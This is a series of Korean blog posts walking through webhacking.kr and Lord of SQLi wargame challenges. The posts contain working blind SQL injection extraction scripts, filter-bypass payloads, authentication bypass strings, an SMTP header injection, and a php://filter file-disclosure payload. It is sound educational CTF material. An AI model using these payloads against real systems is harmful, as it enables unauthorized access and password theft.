40번문제의 초기화면

 

1. 문제풀이

  • 이번문제도 뭔가 admin계정으로 접속하면 풀릴것 같이 보인다.
  • 일단 처음은 위 사진처럼 guest계정으로 접속해보겠다.

guest로그인 화면

 

  • admin 계정으로 접속을 시도해보겠다.

 

  • 위와같이 실패했다고 나온다.
  • id, pw를 admin으로 입력하고 no에0을 입력해 로그인하면 아무런 반응이 없다.
  • no에 0||no=2를 입력하고 로그인하자 다음과같이 admin계정의 비밀번호를 입력하라고 나온다.

 

 

  • 이젠 admin계정의 비밀번호를 BlindSQLi를 통해서 알아내면 된다.
  • 먼저 비밀번호의 길이를 알아내기 위해서 no에 다음과 같은 문구를 삽입해 길이를 알아낸다.
  • 1||no=2&&length(pw)=1
  • 위와 같은 비밀번호를 입력하라는 창이 나올때까지 1부터 증가하면서 대입해본다.
  • 그결과 10을 삽입했을때 비밀번호를 입력하라고 나온다. 따라서 비밀번호의 길이는 10이라는것을 알수 있다.

 

  • 그 다음 실제 비밀번호를 알아내기 위해서 다음과 같은 파이썬 코드를 작성해 프로그램으로 돌려보았다.
import requests
url = 'https://webhacking.kr/challenge/web-29/' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력

db_len = 10

def find_db_str(db_len):
    db_str = ""
    for len in range(1,db_len+1):
        for ascii in range(33,127): 
            k = hex(ascii).split("0x")[1]
            value = "?no=0||substr(pw,{},1)=0x{}&id=guest&pw=guest".format(len,k)
            # no에 Payload 코드 삽입 
            response = requests.get(url + value, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "admin password" in response.text:  
                db_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
                break
        
    return db_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("db : \n"+find_db_str(db_len))

 

  • 프로그램을 돌리면 위와같이 비밀번호가 lck_admin이라고 출력된다.
  • 하지만 실제 비밀번호는 luck_admin인데 2번째 글자인 u가 출력되지 않은 이유는 guest계정의 비밀번호인 guest의 2번째 글자가 u로 똑같기 때문이다.
  • 이제 비밀번호를 입력하면 문제가 풀리게된다.

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

22번문제 기본화면

 

1. 문제풀이

  • 이번문제는 SQLi를 이용해 admin 계정으로 로그인을 우회하는 문제이다.
  • 먼저 회원가입을 통해 계정을 하나 생성해 정상적으로 로그인을 해보겠다.

 

  • red 계정으로 회원가입 후 로그인을 해보니 설정한 비밀번호가 해시화되어서 화면에 출력된다.
  • hash값으로 보았을 때 md5인것으로 추측된다.
  • 해당 해시값을 md5복호화 사이트에서 복호화 해본 결과 다음과 같이 나온다.

복호화 결과

  • 설정한 비밀번호는 '1234' 이지만 뒤에 apple이 같이 출력되는것으로 보아 apple은 salt값으로 추측된다.
  • salt란 보안강화를 위해 비밀번호 뒤에 임의의 문자를 덧붙이는 것이다.
  • 그럼 이제 admin계정으로 로그인 우회를 하기 위해 공격을 시도해보겠다.

 

참인 결과

  • admin' or '1'='1# 구문을 대입해 공격을 시도해보니 로그인이 되지는 않지만 위와같은 화면이 출력된다.

 

거짓인 결과

  • admin' and '1'='1# 구문을 대입해 공격을 시도해보니 위와같은 화면이 출력된다.
  • 따라서, 참일경우 Wron password 구문이 출력되고, 거짓일 경우 Login Fail 이 출력되므로 참/거짓이 다르게 출력된다.
  • 이러한 경우 우리는 Blind SQLi를 시도해볼 수 있다.
  • 프록시 도구를 이용해 먼저 로그인 요청시 어떤 파라미터가 전송되는지를 다음과  같이 먼저 확인한다.

 

  • 로그인 요청 시 uuid, pw 파라미터가 POST 방식으로 전달되는것을 확인할 수 있다.
  • 위 정보들을 바탕으로 자동화 공격을 시도할 파이썬 코드를 작성한다.

파이썬 코드

import requests
url = 'https://webhacking.kr/challenge/bonus-2/index.php' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "admin' and length(pw) = {}#".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'uuid': value} # uuid에 Payload 코드 삽입 
        response = requests.post(url, data=params, cookies=cookies) #POST를 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Wrong" in response.text: 
            break
    return pw_len #pw 길이 반환 

def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = "admin' and (ascii(substring(pw,{},1))>{})#".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'uuid': value}  # uuid에 Payload 코드 삽입 
            response = requests.post(url, data=params, cookies=cookies)  # POST를 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Fail" in response.text:  
                pw_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
                break
        
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 : \n"+find_pw_str(find_pw_len()))
  • 위 코드를 실행시키면 다음과 같이 해시화된 비밀번호를 알 수 있다.

 

  • 실제 비밀번호를 알아내기 위해서 해시값을 아까와 같이 복호화 한다.

 

  • 복호화를 해본 결과 wowapple 이라는 실제 비밀번호가 출력된다.
  • 하지만 apple은 salt값이니 제외하고 실제 비밀번호는 wow이다.
  • 이제 필요한것을 다 얻었으니 굳이 로그인 우회가 아니라 그냥 비밀번호를 치고 들어가면 된다.

 

admin계정으로 로그인 성공

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#40)  (1) 2023.04.24
WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

47번문제 기본화면

 

send버튼을 클릭한 화면

 

1. 문제풀이

  • 해당 문제의 경우 위 사진들을 바탕으로 생각해본 결과 메일을 보내는것과 관련된 취약점을 찾는문제인것 같다.
  • 우선 이 문제를 푸는 조건은 본인의 메일로 전송하면 밑에 flag가 보여지면서 문제를 풀 수 있다.
  • 하지만 그냥 본인의 메일을 입력해 전송하면 flag는 나오지않고 위 사진과 같은 화면만 나온다.
  • 해당 문제의 취약점은 SMTP Header Injection으로 공격자가 원하는 주소로 메일을 보낼 수 있는 취약점이다.

공격방법은 다음과 같다.

 

  • SMTP Header Injection 공격을 하기 위해선 두 줄 이상의 입력 폼이 필요하기 때문에 개발자 도구로 <input>태그를 <textarea>태그로 변경한다.

 

  • 윗줄에는 아무거나 입력하고 밑줄에 Cc: 이메일주소 를 입력하면 공격이 성공한다.
  • Cc는 (Carbon Copy)는 참조로, 수신자로 정해진 상대방 말고도 메일을 보내고 싶은 사람에게 보낼 때 사용하는 기능이다.

 

공격성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#40)  (1) 2023.04.24
WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

25번문제 기본화면

 

1. 문제풀이

  • 해당 문제의 경우 웹서버의 어떤 파일들이 있는지 보여주고 있다. 아마 flag.php파일을 볼수 있다면 풀리는 문제로 보인다.
  • 먼저 기본화면에서 url을 살펴보면 /?file=hello가 보인다 이러한 방식으로 웹서버의 파일을 불러오는것 같다.
  • 그럼 바로 /?file=flag를 url에 입력해 해당 파일을 추출해보겠다.

 

file=flag의 화면

  • 하지만 파일의 소스코드는 보이지 않고 flag는 소스코드안에 있다고만 알려준다.
  • 해당 문제에서는 PHP Wrapper를 사용해서 소스코드를 뺴내보겠다.
  • 여기서 사용할 PHP Wrapper는 php://filter를 사용하겠다.
  • 주소?pages=php://filter/convert.base64-encode/resource=hi.php(기본 사용법)
  • 위 방법을 이용해 url창에 다음과 같이 입력하겠다.
  • http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag
  • 뒤에 확장자는 해당 웹서버에서 파일을 가져올 때 자동으로 붙여서 가져오는것으로 보여 빼고 진행하였다.

 

  • 이전과는 달리 다른문구가 보이지만 소스코드가 아니라 알아볼수 없는 문자가 보인다.
  • 해당 문구는 Base64로 소스코드가 인코딩 된것이다.
  • 인터넷에 Base64디코딩을 검색하면 디코딩해주는 사이트를 쉽게 찾을 수 있다.

 

  • Base64로 인코딩된 문자를 위와같이 디코딩하면 소스코드가 보여진다.
  • 쉽게 flag를 찾을 수 있다.

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#47)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04

12번문제의 php코드

 

1. 문제풀이

 

1) 코드 해석

  • 이번문제도 admin의 비밀번호를 알아내야 풀 수 있는 Blind SQLi 문제다
  • 이번문제에서는 =,substr,ascii 문자들이 필터링 걸려있다
  • 자동화도구에 대입할 쿼리를 만들때 위의 문자들을 우회해서 공격하면 된다

 

2) 문제 풀이

  • 필터링 걸려있는 문자들의 우회방법은 다음과 같다

= : like

substr : mid

ascii : ord

 

2-1 비밀번호의 길이와 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = " \"\" or id like \"admin\" and length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'no': value} # no에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = " \"\" or id like \"admin\" and ord(mid(pw,{},1)) like {} #".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'no': value}  # no에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

실제비밀번호를 알아내는 공격화면
공격 성공화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04

11번문제의 php코드

 

1. 문제풀이

 

1) 코드 해석

  • 이번 문제는 blind SQLi문제로 저번에 사용하였던 자동화도구를 사용하여 풀면 된다
  • 하지만 이번 문제에서는 다음과 같이 여러가지 필터링이 있다

if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

  • or,and,substr,= 이렇게 SQLi에서 많이 쓰이는 문자 4가지 정도가 필터링이 걸려있다
  • 위 문자들을 우회해서 자동화 도구를 사용하면 비밀번호를 알아낼 수 있다

 

2) 문제 풀이

방법은 다음과 같다

  • 먼저 우회한 페이로드를 작성하여 자동화도구에 페이로드 코드부분을 수정한다
  • 그 다음 실제pw를 알아내서 공격을 시도한다

 

2-1 비밀번호의 길이를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id like 'admin' && length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

 

2-2 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id like 'admin' && length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' || ascii(substring(pw,{},1)) like {} #".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

비밀번호의 길이를 알아내는 공격화면
실제 비밀번호를 알아내는 공격화면
공격 성공화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30

10번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번 문제는 조금 의아한 문제이다 그 이유는 쿼리문뒤에 and 1=0을 넣어서 뭔가 있는것처럼 꾸며놨지만 사실 문제를 푸는데 아무 필요가 없는 구문이다
  • 사실 이번문제는 초반문제와 거의 비슷하다 admin이라는 계정으로 접속을 하면 풀리는 문제다

 

2) 문제 풀이

  • 공격 시 삽입 구문: ?pw=' or id='admin'%23
  • 공격 후 구문: https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=' or id='admin'%23
  • 위와같은 방식으로 공격하면 매우 간단하게 성공한다
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0

 

공격성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30

9번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 다음 코드에서 보여지듯이 이번문제에서는 admin이라는 문자를 공백으로 대체하여 처리하는 방식으로 이루어져있다

$_GET[id] = str_replace("admin","",$_GET[id]); 

  • 그리고 이번엔 저번과 같은 대소문자 우회를 막기위해 id값을 소문자로 치환하는 코드도 짜여져있다

$_GET[id] = strtolower($_GET[id]);

  • 그렇다면 admin이라는 문자를 공백으로 대체하는것을 우회하는 방법으로 접근해야한다

 

2) 문제 풀이

  • 이번에는 대소문자 우회가 통하지 않기때문에 다른 방법을 찾아야한다
  • XSS에서 사용되는 방법을 이용하여 우회하면 공격이 가능하다
  • admin 이라는 문자를 필터링 하므로 aadmindmin을 삽입하여 중간에 admin이 필터링되고 남는부분인 admin이 대입되어 공격이 성공한다
  • 공격 시 삽입 구문: aadmindmin
  • 공격 후 구문: https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin 

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30

8번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 다음코드에서 보여지듯이 이번문제에서는 "admin"이라는 문자가 필터링 되어있는것을 볼 수 있다

if(preg_match("/admin/"$_GET[id])) exit("HeHe");

  • admin 문자만 우회하면 공격을 성공할수 있지만 그런 우회방법이 있을까 싶다

 

2) 문제 풀이

  • 저번에 풀었던(#3 goblin)문제에서 사용했던 스트링 우회기법으로 공격을 시도했지만 될리가 없다

공격 실패 화면

  • 도저히 방법을 모르겠어서 인터넷 검색을 해본결과 어이없게도 아주 사소한 부분을 놓치고 있었다
  • 당연히 막혀있을거라 생각했던 대소문자 구분을 하지 않고 있다는 점이다
  • 따라서 공격구문에 admin이 아닌 Admin 혹은 AdMin 이런식으로 공격하면 공격이 성공한다
  • 공격 시 삽입 구문: id=Admin
  • 공격 후 구문: https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=Admin
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_troll where id='Admin'

 

공격 성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28

7번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는 바로 직전에 풀었던 "darkelf"문제와 blind SQLi문제였던"orc"문제의 조합 버전이라고 생각하면 된다
  • blind SQLi문제지만 or,and 문자가 필터링이 되어 공격쿼리를 짤때 이부분만 우회하여 자동화도구에 대입시키면된다

 

2) 문제 풀이

방법은 다음과 같다

  • 먼저 pw의 길이를 자동화도구를 사용하여 알아낸다
  • 그 다음 실제 pw를 자동화도구를 사용하여 알아낸 뒤 공격을 시도한다

 

2-1 비밀번호의 길이를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id='admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

 

2-2 실제 비밀번호를 알아내는 python 코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': ''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id = 'admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' || ascii(substring(pw,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  # 
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

비밀번호의 길이를 알아내는 공격화면
실제 비밀번호를 알아내는 공격화면

  • 자동화도구를 통해 실제 비밀번호가 7b751aec 인것을 알아낼 수 있다
  • 공격 시 삽입 구문: pw=' || id=admin && pw=7b751aec
  • 공격 후 구문: https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=admin%20&&%20pw=7b751aec
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_orge where id='guest' and pw='7b751aec'

 

공격 성공화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#9 vampire)  (0) 2023.01.04
Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28

+ Recent posts